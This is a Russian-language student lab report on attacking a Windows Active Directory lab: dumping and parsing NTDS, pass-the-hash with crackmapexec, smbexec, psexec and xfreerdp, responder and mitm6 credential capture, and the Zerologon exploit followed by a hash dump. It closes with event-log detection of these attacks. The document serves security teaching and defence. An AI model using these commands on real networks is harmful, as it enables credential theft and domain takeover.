# Гришанов Матвей Сергеевич -- Windows Basic Практическая работа 6. Базовые атаки и компрометация доменной Windows-инфраструктуры [toc] ## Практическая работа 6.1 Базовые атаки на Windows-инфраструктуру ### Анализ базы NTDS -- Бэкап NTDS 1.1 Воспользуемся базовыми средствами **Windows** для работы с **NTDS**. Заходим от имени администратора в командную строку и вводим команды. :::info :information_source: Список используемых команд: `ntdsutil` -- запуск утилиты NTDS. `activate instance ntds` -- подключаемся к активной Active Directory. `ifm` -- активируем процесс Install From Media. `create full C:\temp` -- создаём копию NTDS. ::: Данные команды активируют процесс **Install From Media**, позволяющий сделать копию нашего **NTDS** с необходимыми ветками реестра. ![](https://i.imgur.com/TPvD0SL.png) :::success :star: Дамп-файлы успешно созданы! ::: 1.2 В директорию C:\temp были помещены дамп-файлы. ![](https://i.imgur.com/OGc3ztb.png) ![](https://i.imgur.com/nzBkcsa.png) --- ### Анализ базы NTDS -- Перенос NTDS 1.3 Воспользуемся базовыми средствами Kali Linux. Используем SMB, чтобы зайти на сервер Windows с Kali-Linux. :::info :information_source: Используемая команда: `smbclient '\\192.168.10.200\C$' -U PT/Administrator` **192.168.10.200** -- ip адрес контроллера домена. **PT** -- имя домена. **Administrator** -- имя пользователя домена с правами администратора. ::: 1.4 После чего копируем файлы на **Kali-Linux**. :::info :information_source: Список используемых команд: `recurse ON` -- включает доступ к подкаталогам для операций с несколькими файлами (**mput** и **mget**). `prompt OFF` -- выключение подсказки для операций с несколькими файлами (**mput** и **mget**). `lcd /home/kali` -- переход в указанный каталог на локальной системе (**/home/kali** -- домашняя папка пользователя **Kali-Linux**). `mget temp` -- получение всех файлов на удаленном сервере, удовлетворяющих указанной маске файла. ::: ![](https://i.imgur.com/jEfbb5G.png) --- ### Анализ базы NTDS -- Анализ NTDS 1.5 Для анализа дампа для начала нужно скачать impacket. Находясь в домашней директории пользователя, выполним набор команд. :::info :information_source: Список используемых команд: `git clone https://github.com/SecureAuthCorp/impacket` -- скачивание **impacket** с **github**. `apt install python3-pip` -- устанавливаем **pip** для **python3**. `cd impacket` -- переходим в каталог **impacket**. `pip install .` -- устанавливаем impacketс с помощью pip. ::: :::warning :warning: У Kali-linux должен быть выход в интернет. :warning: У четвертой команды в конце должна быть точка - это часть команды. ::: ![](https://i.imgur.com/As6Qvtw.png) --- 1.6 После установки нужно пройти из директории impacket в директорию examples (она внутри папки импакета) и выполнить следующую команду. :::info :information_source: Используемая команда: `python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL` **secretsdump.py** -- исполняемый скрипт. **ntds.dit** -- анализируемый инстанс базы данных **NTDS**. **registry/SYSTEM** -- иветка реестра, с помощью которой мы можем прочитать **NTDS**. **LOCAL** -- флаг для скрипта, который говорит, что мы анализируем NTDS локально. ::: ![](https://i.imgur.com/F0d422m.png) :::warning :warning: Будьте внимательны -- формат информации в этом выводе описан в строчке **"dumping domain credentian"**. ::: :::info :information_source: Анализирование **NTDS** производится целью разобраться в структуре базы аутентификационых данных для объектов домена. ::: --- ### Path-the-hash -- Crackmapexec Выполнение атаки PtH с помощью Crackmapexec. Crackmapexec -- это набо python-скриптов для тестирования **Windows** окружения. Использует ==Windows API==, поэтому ==обнаружить довольно сложно==. 1.7 Базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb. :::info :information_source: Используемая команда: `crackmapexec smb 192.168.10.0/24` ::: ![](https://i.imgur.com/jNAtglW.png) --- 1.8 Выполнение поиска команды от имени пользователя на удаленной машине посредством командной строки. :::info :information_source: Используемая команда: `crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami` :information_source: Hash - это NTLM хэш учетной записи (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее). ::: ![](https://i.imgur.com/7TSaQdq.png) --- 1.9 Просмотр списка сетевых папок, доступных конкретному пользователю. :::info :information_source: Используемая команда: `crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares` ::: ![](https://i.imgur.com/TeVucY4.png) --- 1.10 В **impacket** есть утилита **smbexec**, позволяющая запустить **cmd windows** для удаленной передачи команд, при этом практически не оставляя следов. :::info :information_source: Используемая команда: `python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128` **PT** -- имя домена. **Administrator** -- имя пользователя домена с правами администратора. **192.168.10.200** -- ip адрес компьютера-жертвы. hashes -- специальный флаг для использования хэша. ::: ![](https://i.imgur.com/blTo0kt.png) :::info :information_source: Существует аналог -- psexec ::: --- :::info :information_source: Используемая команда: `python3 psexec.py domain/username:password@hostIP` ::: ![](https://i.imgur.com/mU4TTYg.png) --- :::info :information_source: Используемая команда: `python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH` ::: ![](https://i.imgur.com/qj7raof.png) --- ### Path-the-hash -- XFreeRDP 1.11 Используя хеш, можно зайти даже по RDP. :::info :information_source: Используемая команда: `xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH` ::: 1.12 Но сначала нужно включить удалённый доступ по RDP на dc1. ![](https://i.imgur.com/glRZykn.png) ![](https://i.imgur.com/Gs68jAn.png) --- 1.13 Пробуем зайти на dc1, а после подтверждаем сертификат. ![](https://i.imgur.com/ueDkLE1.png) --- 1.14 Политика **Restricted Admin** не позволяется нам его использовать :arrow_right: изменяем параметр реестра на **dc1**. :::info :information_source: Используемая команда: `New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force` ::: ![](https://i.imgur.com/ScVOaHr.png) --- 1.15 В политике аудита PoSH можно увидеть выполнение этой команды. ![](https://i.imgur.com/oLADZ9r.png) --- :::success :star: Xfreerdp успешно запустил нас на сервер! ::: ![](https://i.imgur.com/xsnzAAI.png) --- ### Атаки на базовые протоколы Windows -- NBT-NS & LLMNR & mDNS :::info :information_source: Важной частью эксплуатации будет **WPAD** -- специальный протокол для настройки проксирования в системе **Windows**. :information_source: **NBT-NS (NetBIOS Name Service)** -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS. :information_source: **LLMNR (Link-Local Multicast Name Resolution)** -- протокол для поиска и преобразования базовых имен внутри небольшой сети. :information_source: **mDNS (Multicast DNS)** -- суть такая же, как и у **LLMNR**. **DNS** через Мультикаст. Все вместе технологии реализуют **Zeroconf**. :information_source: Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. ::: ### Атаки на базовые протоколы Windows -- Анализ инфраструктуры через responder 1.16 Для того, чтобы изучить флаги и возможности responder -- необходимо воспользоваться мануалом. :::info :information_source: Используемая команда: `responder -h` ::: --- 1.17 Запускаем responder. :::info :information_source: Используемая команда: `responder -I eth0 -A` ::: ![](https://i.imgur.com/04g6twe.png) --- 1.18 Доменный ПК пытается обратиться к несуществующему сетевому адресу. ![](https://i.imgur.com/vNhr0qC.png) --- 1.19 Анализатор видит **LLNMR**, **NBNS** запросы. ![](https://i.imgur.com/Ot0MLEv.png) --- 1.20 Режим атаки: :::info :information_source: Используемая команда: responder -I eth0 -wFv :information_source: -I eth0 -- выбор интерфейса. :information_source: w -- отравление **WPAD**. :information_source: F -- попытка принудить систему использовать старые протоколы аутентификации, если возможно. :information_source: v -- вывод подробной информации (в т.ч. перехваченного хэша). ::: 1.21 Запускается **responder**. ![](https://i.imgur.com/gEC7uAx.png) --- 1.22 Пользователь проходит по несуществующему пути. ![](https://i.imgur.com/gDhPcjM.png) --- 1.23 **Responder** притворяется этим ресурсом, поэтому видим окно аутентификации -- перехватывает аутентификационный токен ![](https://i.imgur.com/9EqbHBS.png) :::info :information_source: Данный токен можно подвергнуть брутфорсу. ::: --- ### Атаки на базовые протоколы Windows -- mitm6 1.24 Атака имитирует **DHCPv6** сервер и отправляет на компьютеры в сети параметры **IPv6**, которые используются в приоритете над **IPv4** при отправке компьютеров данных по сети. 1.25 Выполняем установку. :::info :information_source: Используемая команда: `pip install mitm6` ::: ![](https://i.imgur.com/8o0l73X.png) --- 1.26 Настройки сетевого адаптера **PC1** до атаки. ![](https://i.imgur.com/Nu8PJrc.png) --- 1.27 Выполнение атаки. :::info :information_source: Используемая команда: `mitm6.py -d pt.local` ::: ![](https://i.imgur.com/0sDbN1L.png) --- 1.28 Настройки сетевого адаптера **PC1** после атаки. ![](https://i.imgur.com/u675i6K.png) --- 1.30 Подмена доменного ресурса -- создание своего сервера SMB. Не отключая mitm6, создаём SMB сервер. :::info :information_source: Используемая команда: `python3 smbserver.py -smb2support SMB /root/SMB` ::: ![](https://i.imgur.com/oYRRcot.png) --- 1.31 Подмена прошла успешно -- аутентификационные данные были получены (Такие данные можно вскрывать с помощью **hashcat** или **John the ripper**. Это не чистый хэш пароля, а аутентификация по протоколу **NTLMv2**). ![](https://i.imgur.com/D92Woyl.png) --- ## Практическая работа 6.2 Компрометация доменной Windows-инфраструктуры 2.1 Первым делом активируем политику аудита машинных учётных записей и применим её к контроллерам домена. :::info :information_source: Путь до политики: Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant ::: ![](https://i.imgur.com/m8qJzvA.png) --- ### Эксплуатация уязвимостей контроллера домена 2.2 Проводим поиск по уязвимости **zerologon** на **github**. ![](https://i.imgur.com/PWxVEUO.png) --- 2.3 Скачиваем один из них и переходим в **README**. :::info :information_source: Используемые команды: `git clone https://github.com/risksense/zerologon` ` cat README.md ` ::: ![](https://i.imgur.com/dgIogyV.png) ![](https://i.imgur.com/yWrRAPZ.png) --- 2.4 Используем консткукцию для вызова эксплойта. :::info :information_source: Используемая команда: `python3 set_empty_pw.py DC1 192.168.10.200` ::: ![](https://i.imgur.com/QcfsBbc.png) --- 2.5 Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить **NTDS** с помощью **secretsdump**. Делаем дамп-файл. :::info :information_source: Используемая команда: `python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'` ::: ![](https://i.imgur.com/D95gT1Q.png) --- 2.6 С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя. :::info :information_source: Используемая команда: `crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami` ::: ![](https://i.imgur.com/sOLGxmD.png) --- ### Поиск следов эксплуатации уязвимостей 2.7 Проверим журнал **System**, увидим ошибку **Netlogon**. ![](https://i.imgur.com/V3BSDSh.png) --- 2.8 Проверим **Security**, увидим событие **4742**. ![](https://i.imgur.com/sqntYEg.png) --- 2.9 Внимательно проанализируем событие. ![](https://i.imgur.com/KZ5h2pa.png) :::warning :warning: **ANONYMOUS LOGON** - подозрительный **Security ID**. :warning: Заполненное поле password **Last Set** -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только **NETWORK SERVICE**. И, если это происходит, генерируется ещё одно событие с **ID 5823**. ::: --- 2.10 Найдём событие **5823** в журнале **System** с помощью фильтра. ![](https://i.imgur.com/57273n0.png) --- 2.11 Событие есть, но произошло задолго до атаки. ![](https://i.imgur.com/WOp7A6P.png) --- 2.12 Найдём события **4742**, которые являются легитимными событиями, связанными с введением в домен **dc2**. ![](https://i.imgur.com/nzCsXRA.png) --- 2.13 Если происходит дамп **NTDS**, то можно увидеть данные выгрузки в журнале **Direcrory** **Service**. ![](https://i.imgur.com/ErSAoSh.png) ---